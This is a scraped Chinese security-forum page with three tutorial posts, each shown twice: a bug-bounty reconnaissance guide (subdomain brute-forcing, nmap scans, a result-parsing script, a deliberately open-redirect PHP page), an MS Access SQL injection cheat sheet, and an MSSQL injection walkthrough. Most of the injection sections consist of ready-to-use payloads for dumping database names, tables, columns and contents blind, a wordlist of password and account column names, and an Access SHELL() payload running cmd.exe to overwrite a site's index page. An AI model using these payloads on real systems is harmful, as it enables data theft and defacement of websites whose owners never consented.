port_info[0] = port_info[0].strip("Ports: ")

#print port_info[0]

for i in port_info:

j = i.split("/")

#print j

output = host + "," + j[0] + "," + j[1] + "," + j[2] + ","+ j[4] + "," + j[6] + "\n"

xls.write(output)
 

 
然后本地搭建一个php环境,写一个url跳转代码:<?php

$url = $_GET['url'];

Header("Location:$url");

?>


抓包:



GET /url.php?url=http://1.1.1.1:80 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
 

burpsuite跑结果:

全文不涉及敏感信息,就不打码了。
 
第五步:结束语
献给所有在挖洞道路走的越来越远的兄弟们。
 
本文脚本已全部上传github。

 
文章参考:
 
https://mp.weixin.qq.com/s/yl1LgC_DHPJtaWh92va_Vw
 
https://blog.csdn.net/qq_21405949/article/details/78487062
  查看全部
信息收集             
 
前言
输出这篇文章的目的也是为了好多人在挖洞时,看到别的大佬钱拿的不要不要的时候,只能在我们自己自己电脑面前一筹莫展,这篇文章也是为了带大家打开新的思路。 

俗话说得好,“不是你套路不够深,是你的基础不够扎实。”

第一步:选择一条不拥挤的道路
现在类似于漏洞盒子,补天这种平台企业SRC的开展,同时伴随着各个公司私有SRC挨个上线,我们可以讲目光聚焦到他们身上。

基础不扎实,如SQL注入,XSS,上传,稍微大一点的厂商,一个WAF就打死了一群工具小子,这里我暂且不谈,直接放弃,来选择扫描器无法的发现漏洞。

如果想挖洞赚钱,只有2条路:


1.客户端漏洞

这样的漏洞挖掘竞争的人会比常见web漏洞和主机端口漏洞少不少。

2.子域名下漏洞

主要讲的是一些边缘业务或者是刚上线的业务。

第二步:信息收集
老生常谈的一个东西了,举个简单的例子,像一些用户比较多的软件,一旦出现漏洞,影响的用户量是相当巨大的。

比如struts漏洞,这些框架漏洞也出了很久了吧,还是有人喜欢用它。

不管你去谷歌还是bing然后采集一波该特征的URL,扔到这个批量验证工具里面,仍然存在大把的ip存在struts命令执行漏洞。

这就是信息收集的成功因素的之一,更何况,现在还有钟馗之眼,傻蛋,fofa这些平台API的开放,无时无刻不在帮我们做着信息收集的工作,让我们多了一把更锋利的武器。

以上是废话,我们不赘诉了。

再谈谈SRC,举个简单的例子,SRC他们在平台上只声明了大致方向,只要属于他们的业务漏洞都收。

那么我们如何定位呢。


我的思路:

1.他的域名对应的真实IP,对应的C段,甚至B段;

2.他的子域名;


3.其他平台(如hackerone)。

如:

https://hackerone.com/alibaba

梦寐以求的目标范围,只要去国外的漏洞网站就能轻轻松松看到。惊不惊喜,意不意外?

查找子域名的文章太多太多,这里也不讲太多了。

当然也可以收集QQ群,微信讨论组,暗网的信息然后去提交威胁情报。


第三步:局部性挖掘
这里就针对目标SRC的资产做一个收集。

以补天的专属为例:


给了我们非常少的范围:

我们先whois查询一下:

然后反查:

查到该公司对应的域名。

这里可以收集顶级域名,然后通过子域名挖掘工具获取二级及三级域名。

李姐姐的神器:https://github.com/lijiejie/subDomainsBrute

高并发DNS暴力枚举,发现其他工具无法探测到的域名:

效果:

或者在线版的:

https://phpinfo.me/domain/

利用下面的脚本处理结果:
#coding=utf8

import re

import os

def getlist():

filename = raw_input('filename')

print filename

ft = open("url.txt",'w+')

with open(str(filename), 'r') as f:

lines = [line.strip() for line in f.readlines()]

for x in lines:

lists=x.split('-')

result = lists[1]

ft.write(result+'\n')

print result

getlist()

print 'done'



删除重复项:
上面2个方法分别导出的结果如下图所示:
这里就回答了好多人经常问我的,为啥子域名挖掘工具要用那么多,因为你用的越多,你收集的越全面。

大部分大公司基本都是整个C段买下来,这里因为这里的目标使用的是代理商,所以我没有跑C段,不然资产可以爆炸多,包大家挖洞挖到眼泪流下来。


第四步:处理收集到的信息
把筛选出来的ip保存到url.txt,然后使⽤nmap命令将结果输出为.gnmp⽂件:

nmap -sS -p 80,443,8080 -Pn -iL url.txt -oA [绝对路径]
我用的命令是:

nmap -sS -O -sV -iL url.txt -p 80,8080,443 -v -T4 -Pn -oA C:\Users\Administrator.DESKTOP-0MHPHKA\Desktop\result    

 
再使用python转化为xsl格式:
#coding:utf8

import sys

log = open("result.gnmap","r")

xls = open("output.csv","a")

xls.write("IP,port,status,protocol,service,version\n")

for line in log.readlines():

if line.startswith("#") or line.endswith("Status: Up\n"):

continue

result = line.split(" ")

#print result

host = result[0].split(" ")[1]

#print host

port_info = result[1].split("/, ")

#print port_info

port_info[0] = port_info[0].strip("Ports: ")

#print port_info[0]

for i in port_info:

j = i.split("/")

#print j

output = host + "," + j[0] + "," + j[1] + "," + j[2] + ","+ j[4] + "," + j[6] + "\n"

xls.write(output)

 

 
然后本地搭建一个php环境,写一个url跳转代码:
<?php 

$url = $_GET['url'];

Header("Location:$url");

?>



抓包:



GET /url.php?url=http://1.1.1.1:80 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

 

burpsuite跑结果:

全文不涉及敏感信息,就不打码了。
 
第五步:结束语
献给所有在挖洞道路走的越来越远的兄弟们。
 
本文脚本已全部上传github。

 
文章参考:
 
https://mp.weixin.qq.com/s/yl1LgC_DHPJtaWh92va_Vw
 
https://blog.csdn.net/qq_21405949/article/details/78487062
 

Access数据库注入

数据库SQL语言flaray 发表了文章 • 0 个评论 • 91 次浏览 • 2019-04-01 17:55 • 来自相关话题

0x001:基础知识
    *
    默认用户:admin,密码:空。
    *
    注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
    *
Access不支持多句执行。
    *
Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
    *
附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
    *
LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
    *
让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
    *
字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
* ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
* ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
    *
暴WEB路径:
可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
* ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
    *
IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
    *
验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


0x002:注入步骤
    *
表名猜解: ' UNION SELECT 1 FROM table[i]
    *
列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
    *
列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

        从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
0x003:与操作系统的交互
    *
安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
    *
获取当前目录: 需要一个已知的表名和主查询的列的数目:' UNION SELECT CurDir(),1,1 FROM validTableName    *执行系统命令:shell()函数可以用来执行系统命令:
 
' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
 0x004:Access的系统表
MSysAccessXML:
    *
Id
    *
LValue
    *
ObjectGuid
    *
ObjectName
    *
Property
    *
Value


MSysACEs:
    *
ACM
    *
FInheritable
    *
ObjectId
    *
SID


MSysObjects:
    *
Connect
    *
Database
    *
DataCreate
    *
DataUpdate
    *
Flags
    *
ForeignName
    *
Id
    *
Lv
    *
LxExtra
    *
LvModule
    *
LvProp
    *
Name
    *
Owner
    *
ParentId
    *
RmtInfoLong
    *
RmtInfoShort
    *
Type


这条查询可以用来获得数据库中的表名:
' UNION SELECT Name FROM MSysObjects WHERE Type = 1
 0x005:盲注
    *
猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
    *
猜解列名: 在指导表名的情况下,使用如下查询:

' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
用和第一步同样的方法判断列是否存在.
    *
猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
 
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
 
0x006:猜解内容长度
 你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
 可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
  A1              A2                    A3
1111           2222                 3333 
0000           4444                 oooo
aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)然后就可以这样获取第二行的内容的长度(假设A1为表的主键):' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)第三行也一样:' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
 最后:猜解内容。
假设攻击者已经知道了表和列名,他将使用这样的查询:[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
 0x007:表名/列名(字典)
这里是一个小的表/列名样本字典
    *
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
    *
customers, customer, config, conf, cfg;
    *
hash;
    *
login, logout, loginout, log;
    *
member, memberid;
    *
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
    *
store, store1, store2, store3, store4, setting;
    *
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;







  查看全部
0x001:基础知识
    *
    默认用户:admin,密码:空。
    *
    注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
    *
Access不支持多句执行
    *
Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
    *
附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
    *
LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
    *
让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
    *
字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
* ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
* ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
    *
暴WEB路径:
可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
* ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
    *
IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
    *
验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


0x002:注入步骤
    *
表名猜解: ' UNION SELECT 1 FROM table[i]
    *
列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
    *
列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

        从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
0x003:与操作系统的交互
    *
安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
    *
  • 获取当前目录: 需要一个已知的表名和主查询的列的数目:
' UNION SELECT CurDir(),1,1 FROM validTableName    *
  • 执行系统命令:shell()函数可以用来执行系统命令:

 
' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
 0x004:Access的系统表
MSysAccessXML
    *
Id
    *
LValue
    *
ObjectGuid
    *
ObjectName
    *
Property
    *
Value


MSysACEs
    *
ACM
    *
FInheritable
    *
ObjectId
    *
SID


MSysObjects
    *
Connect
    *
Database
    *
DataCreate
    *
DataUpdate
    *
Flags
    *
ForeignName
    *
Id
    *
Lv
    *
LxExtra
    *
LvModule
    *
LvProp
    *
Name
    *
Owner
    *
ParentId
    *
RmtInfoLong
    *
RmtInfoShort
    *
Type


这条查询可以用来获得数据库中的表名:
' UNION SELECT Name FROM MSysObjects WHERE Type = 1
 0x005:盲注
    *
猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
    *
猜解列名: 在指导表名的情况下,使用如下查询:

' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
用和第一步同样的方法判断列是否存在.
    *
猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
 
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
 
0x006:猜解内容长度
 你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
 可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
  A1              A2                    A3
1111           2222                 3333 
0000           4444                 oooo
aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)
然后就可以这样获取第二行的内容的长度(假设A1为表的主键):
' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)
' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)
'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)
第三行也一样:
' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)

很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
 最后:猜解内容。
假设攻击者已经知道了表和列名,他将使用这样的查询:
[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]

"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
 0x007:表名/列名(字典)
这里是一个小的表/列名样本字典
    *
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
    *
customers, customer, config, conf, cfg;
    *
hash;
    *
login, logout, loginout, log;
    *
member, memberid;
    *
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
    *
store, store1, store2, store3, store4, setting;
    *
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;








 

MSSQL数据库注入

渗透测试llpkk 发表了文章 • 0 个评论 • 141 次浏览 • 2019-03-31 17:58 • 来自相关话题

 0x00 前言
现在非常多的网站都是使用MYSQL + PHP来完成的,但是MSSQL + ASP这种类型的网站也是经常能够遇到的,尤其是最近SRC平台中的任务几乎都是由这样的组合来实现的。所以研究mssql注入是非常有必要的。
 0x01 环境
为了能够更好地测试和复现更多的漏洞,我搭建了如下测试环境:
服务器:win server 2003中间件:IIS6.0数据库:SQL SERVER 2005前端语言:ASP
0x02 详细注入步骤
    ①判断数据库的类型and exists (select * from sysobjects)--
and exists (select count(*) from sysobjects)--
如果返回正常则为mssql数据库
     




    ②判断数据库的版本and 1=@@version--这个语句要在有回显的模式下才可以
and substring((select @@version),22,4)='2005'--适用于无回显模式



    ③获取所有数据库的个数and 1=(select quotename(count(name)) from master..sysdatabases)--
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>0) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>0) --    tips:dbid从1-4的数据库一般为系统数据库.




    ④获取数据库名称        and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
-- - 该语句是一次性获取全部数据库的,且语句只适合>=2005,以上两条语句可供选择使用
    




    ⑤获取当前数据库名称        and db_name()>0
and 1=(select db_name())--
    




    ⑥获取数据库中的表名 and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
可一次爆数据库所有表(只限于mssql2005及以上版本)





    ⑦获取表中的列名
    and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
  




 
0x03 总结
 
大体上感觉和MYSQL的注入过程是非常相似的,我们仍然可以按照mysql注入的思维方式去实施注入步骤,只不过在payload和细节方面有些不同,我们需要注意。
因为是初步探索mssql注入,所以有很多不足之处。无论是在环境的搭建还是注入的过程当中,我都能过发现很多在细节方面都需要非常注意。但是这些阻碍也正是我学习的地方~更多的mssql注入我还是会继续研究下去的~~
  查看全部
1.jpg

 0x00 前言
现在非常多的网站都是使用MYSQL + PHP来完成的,但是MSSQL + ASP这种类型的网站也是经常能够遇到的,尤其是最近SRC平台中的任务几乎都是由这样的组合来实现的。所以研究mssql注入是非常有必要的。
 0x01 环境
为了能够更好地测试和复现更多的漏洞,我搭建了如下测试环境:
  • 服务器:win server 2003
  • 中间件:IIS6.0
  • 数据库:SQL SERVER 2005
  • 前端语言:ASP

0x02 详细注入步骤
    ①判断数据库的类型
and exists (select * from sysobjects)--
and exists (select count(*) from sysobjects)--

如果返回正常则为mssql数据库
     
Image.png

    ②判断数据库的版本
and 1=@@version--这个语句要在有回显的模式下才可以
and substring((select @@version),22,4)='2005'--适用于无回显模式
Image2.png

    ③获取所有数据库的个数
and 1=(select quotename(count(name)) from master..sysdatabases)--
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>0) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>0) --
    tips:dbid从1-4的数据库一般为系统数据库.
Image3.png

    ④获取数据库名称        
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
-- - 该语句是一次性获取全部数据库的,且语句只适合>=2005,以上两条语句可供选择使用

    
Image4.png

    ⑤获取当前数据库名称        
and db_name()>0
and 1=(select db_name())--

    
Image5.png

    ⑥获取数据库中的表名 
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

可一次爆数据库所有表(只限于mssql2005及以上版本)

Image6.png

    ⑦获取表中的列名
    
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

  
Image7.png

 
0x03 总结
 
大体上感觉和MYSQL的注入过程是非常相似的,我们仍然可以按照mysql注入的思维方式去实施注入步骤,只不过在payload和细节方面有些不同,我们需要注意。
因为是初步探索mssql注入,所以有很多不足之处。无论是在环境的搭建还是注入的过程当中,我都能过发现很多在细节方面都需要非常注意。但是这些阻碍也正是我学习的地方~更多的mssql注入我还是会继续研究下去的~~